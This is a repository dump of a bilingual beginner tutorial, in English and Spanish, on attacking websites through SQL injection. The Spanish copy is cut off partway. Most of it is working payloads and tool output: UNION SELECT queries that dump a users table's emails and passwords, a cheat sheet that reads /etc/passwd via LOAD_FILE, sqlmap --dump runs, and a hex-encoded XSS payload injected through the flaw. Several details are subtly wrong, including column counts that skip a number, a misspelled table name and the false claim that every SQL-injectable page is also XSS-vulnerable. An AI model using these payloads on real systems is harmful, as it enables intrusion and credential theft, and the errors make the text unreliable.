├── README.md ├── sql_injection_basic_en.md └── sql_injection_basic.md /README.md: -------------------------------------------------------------------------------- 1 | # INYECCIÓN SQL BÁSICA 💉 2 | 3 | ## ¿Para quién esta enfocado este escrito? 4 | 5 | ➡️ Este escrito esta enfocado para todas las personas que quieran aprender lo básico acerca de las inyecciones sql 6 | 7 | ➡️ No es necesarío que tengas conociemiento del tema 8 | 9 | 10 | ## Texto en Español: 11 | 12 | https://github.com/Y000o/sql_injection_basic/blob/master/sql_injection_basic.md 13 | 14 | ## Text in English: 15 | 16 | https://github.com/Y000o/sql_injection_basic/blob/master/sql_injection_basic_en.md 17 | 18 | ### Si te gusta el contenido me ayudarías mucho compartiendo 19 | 20 | ----------------------------------------------------------------------------------------------------------------------- 21 | 22 | # BASIC SQL INJECTION 💉 23 | 24 | ## Who is this writing focused on? 25 | 26 | ➡️ This writing is focused for all the people who want to learn the basics about sql injections 27 | 28 | ➡️ It is not necessary that you have knowledge of the subject 29 | 30 | ## Text in Spanish: 31 | 32 | https://github.com/Y000o/sql_injection_basic/blob/master/sql_injection_basic.md 33 | 34 | ## Text in English: 35 | 36 | https://github.com/Y000o/sql_injection_basic/blob/master/sql_injection_basic_en.md 37 | 38 | ### If you like the content you would help me a lot by sharing 39 | -------------------------------------------------------------------------------- /sql_injection_basic_en.md: -------------------------------------------------------------------------------- 1 | # INYECCIÓN SQLi - Basic 2 | 3 | ## TOPICS 4 | 5 | * [¿What is an sql injection?](#¿What-is-an-sql-injection?) 6 | * [¿Why an sql error occurs?](#¿Why-an-sql-error-occurs?) 7 | * [Sql injection types](#Sql-injection-types) 8 | * [Manual sql injection](#Manual-sql-injection) 9 | * [Detect a vulnerable page](#Detect-a-vulnerable-page) 10 | * [Detect the number of columns](#Detect-the-number-of-columns) 11 | * [Usando union select](#Using-union-select) 12 | * [Extract information](#Extract-information) 13 | * [mysql sql Injection Cheat Sheet](#mysql-sql-Injection-Cheat-Sheet) 14 | * [Extract personalized information](#Extract-personalized-information) 15 | * [Automated sql injection with sqlmap](#Automated-sql-injection-with-sqlmap) 16 | * [¿What is sqlmap?](#¿What-is-sqlmap?) 17 | * [Sqlmap installation](#Sqlmap-installation) 18 | * [Basic use of sqlmap](#Basic-use-of-sqlmap) 19 | 20 | * [Go from sql injection to xss injection](#Go-from-sql-injection-to-xss-injection) 21 | * [¿What is an xss injection?](#¿What-is-an-xss-injection?) 22 | * [Using hex to hide payloads](#Using-hex-to-hide-payloads) 23 | 24 | 25 | 26 | ## ¿What is an sql injection? 27 | 28 | Sql Injection or SQL Injection is a vulnerability that allows the attacker to send or "inject" SQL instructions in a malicious and malicious way. 29 | 30 | ## ¿Why an sql error occurs? 31 | 32 | An SQL error normally occurs with the bad filtering of the variables in a program that has or creates SQL, generally when you ask a user for inputs of any type and they are not validated, such as their name and password, but in exchange for this information the attacker sends an invasive SQL statement that will be executed against the database. 33 | 34 | ## Sql injection types 35 | 36 | An sql injection can be exploited in 2 different ways, manually, that is, the attacker will inject the script by hand in order to generate the action within the database. 37 | 38 | On the other hand we have the automated injection with sqlmap, sqlmap is a tool specially designed for this type of attack, it is in charge of analyzing the page, seeing if it is vulnerable and attacking, it is said that it is automated since the tool does everything by itself , the user only needs to enter the options they want to use to make the scan more effective. 39 | 40 | ## Manual sql injection 41 | 42 | ### Detect a vulnerable page 43 | 44 | One of the main things where we have to look to detect if a page is vulnerable to sql injection is in its parameters, let's imagine the following: 45 | 46 | We find a common and current page which uses many parameters for the GET method (remember that the GET method is when the page sends the data using the URL), so we have something like this: 47 | 48 | `http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1` 49 | 50 | In this example we have 3 parameters, which are: 51 | 52 | ``` 53 | id=1 54 | id2=1 55 | id3=1 56 | ``` 57 | 58 | Now, to detect if the page is vulnerable, one of the simplest things is to use a simple 'at the end of each parameter to see if it generates an error in the database. 59 | 60 | So we have the following: 61 | 62 | We add a `` '' at the end of the first parameter, but it does not generate any error: 63 | 64 | `http://www.paginaparaejemplo.com/algo.php?id=1'&id2=1&id3=1` 65 | 66 | We add a `` '' at the end of the second parameter, but it does not generate any error: 67 | 68 | `http://www.paginaparaejemplo.com/algo.php?id=1&id2=1'&id3=1` 69 | 70 | We add a `` '' to the end of the last parameter, but here it returns an error: 71 | 72 | `http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1'` 73 | 74 | The page shows us a legend like this: 75 | 76 | `You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax` 77 | 78 | Now that we have the vulnerable parameter, we move on to the following. 79 | 80 | ### Detect the number of columns 81 | 82 | We already have the vulnerable parameter, now we have to identify the number of columns used by the page, for this we have the following commands: 83 | 84 | `order by` y `group by` 85 | 86 | Here we have to test the number of columns, here is an example of how to use the order by and the group by: 87 | 88 | ``` 89 | 1' ORDER BY 1 --+ 90 | 1' ORDER BY 2 --+ 91 | 1' ORDER BY 3 --+ 92 | 1' ORDER BY 4 --+ 93 | etc... 94 | ``` 95 | ``` 96 | 1' GROUP BY 1--+ 97 | 1' GROUP BY 2--+ 98 | 1' GROUP BY 3--+ 99 | 1' GROUP BY 4--+ 100 | etc... 101 | ``` 102 | 103 | Here what we are looking for is that the page generates an error when injecting a number that exceeds the columns used by the page, to make it a little more understandable, we are going to see it this way: 104 | 105 | We imagine that the page has `23` columns, going back to the previous example where we already discovered the vulnerable parameter, we would have something like this: 106 | 107 | ``` 108 | 109 | -http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' order by 1 --+ #sin error 110 | 111 | -http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' order by 2 --+ #sin error 112 | 113 | -http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' order by 3 --+ #sin error 114 | 115 | -http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' order by 10 --+ #sin error 116 | 117 | -http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' order by 20 --+ #sin error 118 | 119 | -http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' order by 23 --+ #sin error 120 | 121 | -http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' order by 24 --+ #tenemos un error 122 | 123 | ``` 124 | 125 | When we exceed the number of columns used by the page, it will show us an error like the following: 126 | 127 | `The query was not carried out: Unknown column '24' in 'order clause'` 128 | 129 | Thanks to this, we found that the page uses 23 columns. 130 | 131 | ### Using union select 132 | 133 | Now it is the turn of `union select`, what these commands do is" give way "so to speak to execute sentences directly in the database and that this is reflected on the page. 134 | 135 | To use `union select`, we have to put the total columns that we discovered earlier. Returning to the example that we have raised, it would be as follows: 136 | 137 | ``` 138 | http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 --+ 139 | ``` 140 | 141 | What that will generate is that the page shows us the numbers of the columns that are vulnerable to inject into them, this part is very important since we have to be very curious to notice the changes, in some cases the changes are very drastic and are they notice too much, but in other cases the changes are too subtle. 142 | 143 | For this example, let's imagine the page is vulnerable on columns `3`,` 5`, and `20`. The page will show us these numbers somewhere. 144 | 145 | ### Extraer información 146 | 147 | Now that we have the number of columns and we have identified the injectable columns, continue to extract and inject information, to do that we need to inject directly into the vulnerable column, going to the previous example and knowing that column `5` is vulnerable, we will have something like this: 148 | 149 | ``` 150 | http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,'soy vulnerable',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 --+ 151 | ``` 152 | 153 | By injecting `'I am vulnerable'` we are telling the page that we want column number 5 to show us the phrase` I am vulnerable` since we are injecting a string directly into the vulnerable column 154 | 155 | Something that I highly recommend is to use `@@ datadir`, This shows us where the database is mounted, but at the same time we get our information with which we can determine which database it is using, let's imagine that we inject and it shows us this: 156 | 157 | ``` 158 | http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,@@datadir,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 --+ 159 | ``` 160 | It shows us: 161 | 162 | `/var/lib/mysql/` 163 | 164 | This means that the database is in that path and at the same time it tells us that the database used is `mysql`, so we focus on that database. 165 | 166 | #### mysql sql Injection Cheat Sheet 167 | 168 | Knowing that the database with which the page is managed is `mysql`, we will see a small` Cheat Sheet` for this database. 169 | 170 | What is a Cheat Sheet? 171 | 172 | Basically it is a list with many "tricks" you can say, as is the Spanish translation of that phrase `Cheat Sheet = cheat sheet`. In this one we are going to find from the most basic queries to a little more advanced queries that will help us a lot to work on our sql injection. 173 | 174 | ``` 175 | | Version | SELECT @@version o SELECT version() | gives us the version of the database | 176 | 177 | | Current User | SELECT user() o SELECT system_user() | gives us the user we have | 178 | 179 | | List Users | SELECT user FROM mysql.user | shows us all users | 180 | 181 | | Database | SELECT database() | shows us the database we are in | 182 | 183 | | Lista de bases de datos | SELECT schema_name FROM information_schema.schemata | shows us the databases | 184 | 185 | | List tables | SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ | shows us the tables of the chosen database | 186 | 187 | | List Columns | SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ | shows us the columns of the chosen table | 188 | 189 | | Local File Access | UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) | if possible, let us read system files | 190 | 191 | | DB location | SELECT @@datadir | It shows us the address where the database is installed | 192 | 193 | ``` 194 | 195 | ### Extract personalized information 196 | 197 | Now we are going to analyze in more detail how to get information from the database, returning to the example with which we are practicing, we are going to use `database ()`, which, as we have seen, helps us to show us the name of the database data with which we are working: 198 | 199 | ``` 200 | http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 --+ 201 | ``` 202 | It shows us: 203 | 204 | `nombre_DB` 205 | 206 | now we have the name of the database. 207 | 208 | The next thing we are going to do is remove the tables from the database, here are 2 ways: 209 | 210 | ``` 211 | http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,group_concat(table_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 from information_schema.tables --+ 212 | ``` 213 | It shows us: 214 | 215 | `the main tables in the database information_schema` 216 | 217 | To remove the tables from the database that we removed before: `name_db` we do the following: 218 | 219 | ``` 220 | http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,group_concat(table_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 from information_schema.tables where table_schema=database() --+ 221 | ``` 222 | 223 | It shows us the main tables of the database `name_db`: 224 | 225 | suppose we find the tables: 226 | 227 | `usuarios, otra_tabla, hola_soy_otra_tabla` 228 | 229 | logically the one that interests us is the table `usuarios` 230 | 231 | Now we are going to enter the `users` table inside the` DB_name` database to get the columns: 232 | ``` 233 | http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,group_concat(column_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 from information_schema.comlumns where table_name="usuarios" --+ 234 | ``` 235 | 236 | It shows us: 237 | 238 | `id, name, email, passwd` 239 | 240 | which are generally the ones that can be found. 241 | 242 | Now, to display the content of those columns: `id, name, email, passwd` we just have to remember which table they are in so we can call them, like this; 243 | 244 | ``` 245 | http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,group_concat(id,name,email,passwd),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 from usuarios --+ 246 | ``` 247 | It shows us: 248 | 249 | `0pepitopepito@correo.comcontraseñasegura` 250 | 251 | If you realize it is all together because that is what we are calling it, to fix this we are going to make use of the `hex` encoding and the`:`symbol. 252 | 253 | the symbol `:` in `hex` looks like this:` 0x3a`. 254 | 255 | ``` 256 | http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,group_concat(id,0x3a,name,0x3a,email,0x3a,passwd),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 from usuarios --+ 257 | ``` 258 | It shows us: 259 | 260 | `0:pepito:pepito@correo.com:contraseñasegura` 261 | 262 | now more understandable. 263 | 264 | ## *As note* 265 | 266 | To perform these custom "attacks" we use a few things that I would like to explain: 267 | 268 | 1-`gruop_concat () `: This is a function that allows us to concatenate values, in such a way that we are using it to return the values that we choose from the selected table. 269 | 270 | 2-`group_concat (table_name) from information_schema.tables`: This statement returns the name of the tables (note that we are making use of `group_concat (table_name)`) from information_schema.tables, this means that we are making a statement that reflects the name of the tables that are inside the database called information_schema. 271 | 272 | 3-`group_concat (table_name) from information_schema.tables where table_schema = database () `: This sequence is very similar to the previous one, only another command is added here:` where` that is used to make the query a little more personalized , in this case we are using it to direct the query within the database called `DB_name` 273 | 274 | ## Automated sql injection with sqlmap 275 | 276 | ### ¿What is sqlmap? 277 | 278 | SQLMap is a tool to exploit the SQL injection vulnerability. This tool automates the attack in order to exploit the page. 279 | 280 | ### Sqlmap installation 281 | 282 | To start I would like to leave the official page here: `http://sqlmap.org/` 283 | 284 | Sqlmap is a tool that works in python in its versions: 2.6, 2.7 and 3.x on all platforms, so there is no problem to use it, personally I have used it on windows, linux and termux and it works excellent on all of them. 285 | 286 | The first thing we have to do is have git installed to be able to clone its official repository to our device, the git site is the following: 287 | 288 | https://github.com/sqlmapproject/sqlmap.git 289 | 290 | to clone it we use the following: 291 | 292 | git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev 293 | 294 | Once we have cloned the repository, we go to the `sqlmap-dev` folder and execute the` sqlmap.py` file: 295 | 296 | `python sqlmap.py` 297 | 298 | 299 | 300 | 301 | ### Basic use of sqlmap 302 | 303 | To see the help options for this tool, just use the following: 304 | 305 | `sqlmap.py -h` 306 | 307 | What will return the basic options to make a correct use of this tool, something that has to be understood well is the correct order of execution to add the options: 308 | 309 | `sqlmap.py --opcion -u URL` 310 | 311 | In the options we can highlight the most general and important, for example: 312 | 313 | ``` 314 | | --random-agent | Which allows us to "change" the user agent with which the queries are executed | 315 | 316 | | --proxy=proxy | Which allows us to connect to the page we want to scan through a proxy | 317 | 318 | | -p parametro | It is used to determine the parameter that we want to analyze | 319 | 320 | | --level=1-5 | This allows us to modify the level with which we want to make the scan, by default it is in level 1 but we can change it up to 5 to make the scan more intrisive | 321 | 322 | | --risk=1-3 | In the same way as --level, risk allows us to change the level with which we want to do the scan, adding more aggressiveness but at the same time making more noise, this can be configured from 1 to 3, coming by default at number 1 | 323 | 324 | | --current-user | We extract the username with which we interact with the database | 325 | 326 | | --current-db | It extracts the name of the database in which we are | 327 | 328 | | --dbs | It will give us the number of databases and will show us the name of each of them | 329 | 330 | | -D nombre | It allows us to enter the selected database | 331 | 332 | | --tables | It will show us the number of tables within a database and the names of each of the tables | 333 | 334 | | -T nombre | It allows us to enter the selected table | 335 | 336 | | --column | It will extract the number of columns within a table and show us the name of each of them | 337 | 338 | | -C nombre | It allows us to select the column | 339 | 340 | | --dump | It allows us to extract content from the database | 341 | 342 | | --dump-all | It extracts everything from the database | 343 | 344 | 345 | ``` 346 | 347 | Once we know the basic options of the tool, we will see an example of how to use it: 348 | 349 | `sqlmap.py -u "http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1"` 350 | 351 | Something very important to keep in mind is that sqlmap scans the page parameter by parameter, this means that if we have a page with more than one parameter we have to specify the port that we want to analyze or scan all one by one. 352 | 353 | 354 | When you start the scan, it is divided into parts: 355 | 356 | It will scan the connection to the page. 357 | It will scan the page for any WAF or IPS: 358 | 359 | ` [INFO] checking if the target is protected by some kind of WAF/IPS` 360 | 361 | At the end of the scan, something like this will appear: 362 | 363 | ``` 364 | [*] starting at 12:10:33 365 | 366 | [12:10:33] [INFO] resuming back-end DBMS 'mysql' 367 | [12:10:34] [INFO] testing connection to the target url 368 | sqlmap identified the following injection points with a total of 0 HTTP(s) requests: 369 | --- 370 | Place: GET 371 | Parameter: id 372 | Type: error-based 373 | Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause 374 | Payload: id=3 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) 375 | --- 376 | [12:10:37] [INFO] the back-end DBMS is MySQL 377 | web server operating system: FreeBSD 378 | web application technology: Apache 2.2.22 379 | back-end DBMS: MySQL 5 380 | 381 | ``` 382 | This means that the scan has finished, that the page is vulnerable and that we managed to attack it successfully. The following is to extract the name of the database, to extract the name of the databases we are going to use the `--dbs` option: 383 | 384 | `sqlmap.py -u "http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1" --dbs` 385 | 386 | When we finish we will have the names of the databases, something like this: 387 | 388 | ``` 389 | [*] starting at 12:12:56 390 | 391 | [12:12:56] [INFO] resuming back-end DBMS 'mysql' 392 | [12:12:57] [INFO] testing connection to the target url 393 | sqlmap identified the following injection points with a total of 0 HTTP(s) requests: 394 | --- 395 | Place: GET 396 | Parameter: id 397 | Type: error-based 398 | Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause 399 | Payload: id3=1 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) 400 | --- 401 | [12:13:00] [INFO] the back-end DBMS is MySQL 402 | web server operating system: FreeBSD 403 | web application technology: Apache 2.2.22 404 | back-end DBMS: MySQL 5 405 | [12:13:00] [INFO] fetching database names 406 | [12:13:00] [INFO] the SQL query used returns 2 entries 407 | [12:13:00] [INFO] resumed: information_schema 408 | [12:13:00] [INFO] resumed: nombre_DB 409 | available databases [2]: 410 | [*] information_schema 411 | [*] nombre_DB 412 | ``` 413 | 414 | With this we have the databases, in this example we have `2`: 415 | 416 | ``` 417 | [*] information_schema 418 | [*] nombre_DB 419 | ``` 420 | 421 | Now, we are going to enter the database `name_db` and extract the name of the tables: 422 | 423 | `sqlmap.py -u "http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1" -D nombre_DB --tables` 424 | 425 | At the end of the scan we have something like this: 426 | 427 | ``` 428 | [11:55:18] [INFO] the back-end DBMS is MySQL 429 | web server operating system: FreeBSD 430 | web application technology: Apache 2.2.22 431 | back-end DBMS: MySQL 5 432 | [11:55:18] [INFO] fetching tables for database: 'nombre_DB' 433 | [11:55:19] [INFO] heuristics detected web page charset 'ascii' 434 | [11:55:19] [INFO] the SQL query used returns 3 entries 435 | [11:55:20] [INFO] retrieved: usuarios 436 | [11:55:21] [INFO] retrieved: otra_tabla 437 | [11:55:21] [INFO] retrieved: hola_soy_otra_tabla 438 | ``` 439 | 440 | At the end we have the following tables: 441 | 442 | `usuarios, otra_tabla, hola_soy_otra_tabla` 443 | 444 | The next thing is to select a table and extract the columns within it: 445 | 446 | `sqlmap.py -u "http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1" -D nombre_DB -T usuarios --columns` 447 | 448 | At the end we have something like this: 449 | 450 | ``` 451 | [12:17:39] [INFO] the back-end DBMS is MySQL 452 | web server operating system: FreeBSD 453 | web application technology: Apache 2.2.22 454 | back-end DBMS: MySQL 5 455 | [12:17:39] [INFO] fetching columns for table 'users' in database 'safecosmetics' 456 | [12:17:41] [INFO] heuristics detected web page charset 'ascii' 457 | [12:17:41] [INFO] the SQL query used returns 4 entries 458 | [12:17:42] [INFO] retrieved: id 459 | [12:17:43] [INFO] retrieved: int(11) 460 | [12:17:45] [INFO] retrieved: name 461 | [12:17:46] [INFO] retrieved: text 462 | [12:17:47] [INFO] retrieved: passwd 463 | [12:17:48] [INFO] retrieved: text 464 | 465 | ....... 466 | 467 | [12:17:59] [INFO] retrieved: hash 468 | [12:18:01] [INFO] retrieved: varchar(128) 469 | Database: nombre_DB 470 | Table: users 471 | [8 columns] 472 | +-------------------+--------------+ 473 | | Column | Type | 474 | +-------------------+--------------+ 475 | | email | text | 476 | | id | int(11) | 477 | | name | text | 478 | | passwd | text | 479 | +-------------------+--------------+ 480 | ``` 481 | 482 | We have the following columns: 483 | 484 | `id, name, email, passwd` 485 | 486 | Finally we have to extract the content of those columns: 487 | 488 | `sqlmap.py -u "http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1" -D nombre_DB -T usuarios -C id,name,email,passwd --dump ` 489 | 490 | At the end we have something like this: 491 | 492 | ``` 493 | +----+----------+---------------------+-------------------+ 494 | | id | name | email | password | 495 | +----+----------+---------------------+-------------------+ 496 | | 0 | pepito | pepito@correo.com | contraseñasegura | 497 | +----+----------+---------------------+-------------------+ 498 | 499 | ``` 500 | 501 | With this we have already extracted the information that is inside the columns. 502 | 503 | 504 | ## Go from sql injection to xss injection 505 | 506 | Now that we have seen how to do an sql injection "attack", let's move from one vulnerability to another, this will be an xss injection. All pages that are vulnerable to sql injection are also vulnerable to xss injection. 507 | 508 | ### ¿What is an xss injection? 509 | 510 | This "attack" consists of injecting malicious code into benign web pages. The attacker injects code from the client side, so that due to a bad configuration of the web page, this code is shown to other users. 511 | 512 | ### Using hex to hide payloads 513 | 514 | The hexadecimal system is a method of positional numbering that uses the number 16 (Base-16) as a base, that is, there are 16 possible digit symbols. 515 | 516 | Their numbers are represented by the first 10 digits of the decimal numbering and the range from the number 10 to the number 15 is represented by the letters of the alphabet: A, B, C, D, E and F. 517 | 518 | This is the method with which we are going to inject xss into a sql vulnerability, taking up the example of the vulnerable page we would have something like this: 519 | 520 | In the same way, we are going to make use of the vulnerable column, in this case let's remember that column `5` is vulnerable. 521 | 522 | To convert strings to hex there are many tools and many pages that allow us to do that, one of them is this: 523 | 524 | https://www.convertstring.com/es/EncodeDecode/HexEncode 525 | 526 | 527 | a very basic xss injection payload is the following: 528 | 529 | `` 530 | 531 | in hex it looks like this: 532 | 533 | `3C7363726970743E616C6572742831293C2F7363726970743E` 534 | 535 | and when injecting like this: 536 | 537 | ``` 538 | http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,3C7363726970743E616C6572742831293C2F7363726970743E,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 --+ 539 | ``` 540 | It shows us: 541 | 542 | `an error` 543 | 544 | why?? well, the page shows us the error since it cannot read the string in hex like this, so that it reads it correctly we have to add `0x` at the beginning of the string converted to hex, in this way we are telling it to the page that we want that through that vulnerable column we execute that string in `hex`, like this: 545 | 546 | ``` 547 | http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,0x3C7363726970743E616C6572742831293C2F7363726970743E,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 --+ 548 | ``` 549 | It shows us: 550 | 551 | `an alert` 552 | 553 | Ready, this way we are going to an xss injection within a sql injection. 554 | 555 | 556 | -------------------------------------------------------------------------------- /sql_injection_basic.md: -------------------------------------------------------------------------------- 1 | # INYECCIÓN SQLi - Básico 2 | 3 | ## TEMAS 4 | 5 | * [¿Qué es una inyección sql?](#¿Qué-es-una-inyección-sql?) 6 | * [¿Porqué ocurre un error sql?](#¿Porqué-ocurre-un-error-sql?) 7 | * [Tipos de inyección sql](#Tipos-de-inyección-sql) 8 | * [Inyección sql manual](#Inyección-sql-manual) 9 | * [Detectar una página vulnerable](#Detectar-una-página-vulnerable) 10 | * [Detectar el número de columnas](#Detectar-el-número-de-columnas) 11 | * [Usando union select](#Usando-union-select) 12 | * [Extraer información](#Extraer-información) 13 | * [mysql sql Injection Cheat Sheet](#mysql-sql-Injection-Cheat-Sheet) 14 | * [Extraer informacion personalizada](#Extraer-informacion-personalizada) 15 | * [Inyección sql automatizada con sqlmap](#Inyección-sql-automatizada-con-sqlmap) 16 | * [¿Qué es sqlmap?](#¿Qué-es-sqlmap?) 17 | * [Instalación de sqlmap](#Instalación-de-sqlmap) 18 | * [Uso básico de sqlmap](#Uso-básico-de-sqlmap) 19 | 20 | * [Pasar de sql inyection a xss inyection](#Pasar-de-sql-inyection-a-xss-inyection) 21 | * [¿Qué es una inyección xss?](#¿Qué-es-una-inyección-xss?) 22 | * [Usando hex para esconder payloads](#Usando-hex-para-esconder-payloads) 23 | 24 | 25 | 26 | ## ¿Qué es una inyección sql? 27 | 28 | Sql Injection ó Inyección SQL es una vulnerabilidad que permite al atacante enviar o “inyectar” instrucciones SQL de forma maliciosa y malintencionada. 29 | 30 | ## ¿Porqué ocurre un error sql? 31 | 32 | Un error SQL ocurre normalmente con la mala filtración de las variables en un programa que tiene o crea SQL, generalmente cuando solicitas a un usuario entradas de cualquier tipo y no se encuentran validadas, como por ejemplo su nombre y contraseña, pero a cambio de esta información el atacante envía una sentencia SQL invasora que se ejecutará en la base de datos. 33 | 34 | ## Tipos de inyección sql 35 | 36 | Una inyección sql puede ser explotada de 2 maneras diferentes, manualmente, es decir, el atacante inyectara a mano la secuencia de comandos para así generar la acción dentro de la base de datos. 37 | 38 | Por otra parte tenemos la inyección automatizada con sqlmap, sqlmap es una herramienta diseñada especialmente para este tipo de ataques, se encarga de analizar la página, ver si es vulnerable y atacar, se dice que es automatizada ya que la herramienta hace todo por si sola, el usuario solo necesita ingresar las opciones que quiera usar para hacer más efectivo el escaneo. 39 | 40 | ## Inyección sql manual 41 | 42 | ### Detectar una página vulnerable 43 | 44 | Una de las principales cosas en donde nos tenemos que fijar para detectar si una página es vulnerable a inyección sql es en sus parametros, imaginemos lo siguiente: 45 | 46 | Encontramos una página común y corriente la cual utiliza muchos parametros por el metodo GET (recordemos que el metodo GET es cuando la página envia los datos usando la URL), entonces tenemos algo como esto: 47 | 48 | `http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1` 49 | 50 | En este ejemplo tenemos 3 parametros, los cuales son: 51 | 52 | ``` 53 | id=1 54 | id2=1 55 | id3=1 56 | ``` 57 | 58 | Ahora, para detectar si la página es vulnerable, una de las cosas más sencillas es usar un simple ' al final de cada parametro para ver si nos genera un error en la base de datos. 59 | 60 | Entontes tenemos lo siguiente: 61 | 62 | Agregamos un `'` al final del primer paramero, pero no nos genera ningun error: 63 | 64 | `http://www.paginaparaejemplo.com/algo.php?id=1'&id2=1&id3=1` 65 | 66 | Agregamos un `'` al final del segundo paramero, pero no nos genera ningun error: 67 | 68 | `http://www.paginaparaejemplo.com/algo.php?id=1&id2=1'&id3=1` 69 | 70 | Agregamos un `'` al final del ultimo paramero, pero aquí si nos devuelve un error: 71 | 72 | `http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1'` 73 | 74 | La página nos muestra una leyenda como esta: 75 | 76 | `You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax` 77 | 78 | Ahora que tenemos el parámetro vulnerable, nos pasamos a lo siguiente. 79 | 80 | ### Detectar el número de columnas 81 | 82 | Ya tenemos el parámetro vulnerable, ahora tenemos que identificar el número de columnas usadas por la página, para esto tenemos los siguientes comandos: 83 | 84 | `order by` y `group by` 85 | 86 | Aquí tenemos que ir testeando el numero de columnas, aquí un ejemplo de como usar el order by y el group by: 87 | 88 | ``` 89 | 1' ORDER BY 1 --+ 90 | 1' ORDER BY 2 --+ 91 | 1' ORDER BY 3 --+ 92 | 1' ORDER BY 4 --+ 93 | etc... 94 | ``` 95 | ``` 96 | 1' GROUP BY 1--+ 97 | 1' GROUP BY 2--+ 98 | 1' GROUP BY 3--+ 99 | 1' GROUP BY 4--+ 100 | etc... 101 | ``` 102 | 103 | Aquí lo que estamos buscando es que la pagina nos genere un error al inyectar un numero que supera las columnas usadas por la página, para que sea un poco mas entendible vamos a verlo de esta manera: 104 | 105 | Imaginamos que la pagina tiene `23` columnas, volviendo al ejemplo anterior en donde ya descubrimos el parámetro vulnerable nos quedaria algo como esto: 106 | 107 | 108 | ``` 109 | 110 | -http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' order by 1 --+ #sin error 111 | 112 | -http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' order by 2 --+ #sin error 113 | 114 | -http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' order by 3 --+ #sin error 115 | 116 | -http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' order by 10 --+ #sin error 117 | 118 | -http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' order by 20 --+ #sin error 119 | 120 | -http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' order by 23 --+ #sin error 121 | 122 | -http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' order by 24 --+ #tenemos un error 123 | 124 | ``` 125 | 126 | Al nosotros sobrepasar el número de columnas usadas por la página, esta nos mostrará un error como el siguiente: 127 | 128 | `La consulta no se realizo: Unknown column '24' in 'order clause'` 129 | 130 | Gracias a esto, descubrimos que la página usa 23 columnas. 131 | 132 | ### Usando union select 133 | 134 | Ahora llega el turno de `union select`, lo que hacen estos comandos es "darnos paso" por así decirlo a ejecutar sentencias directamente en la base de datos y que esto se vea reflejado en la página. 135 | 136 | Para usar `union select`, tenos que poner el total de columnas que descubrimos anteriormente. Volviendo a el ejemplo que tenemos planteado, nos quedaría de la siguiente manera: 137 | 138 | ``` 139 | http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 --+ 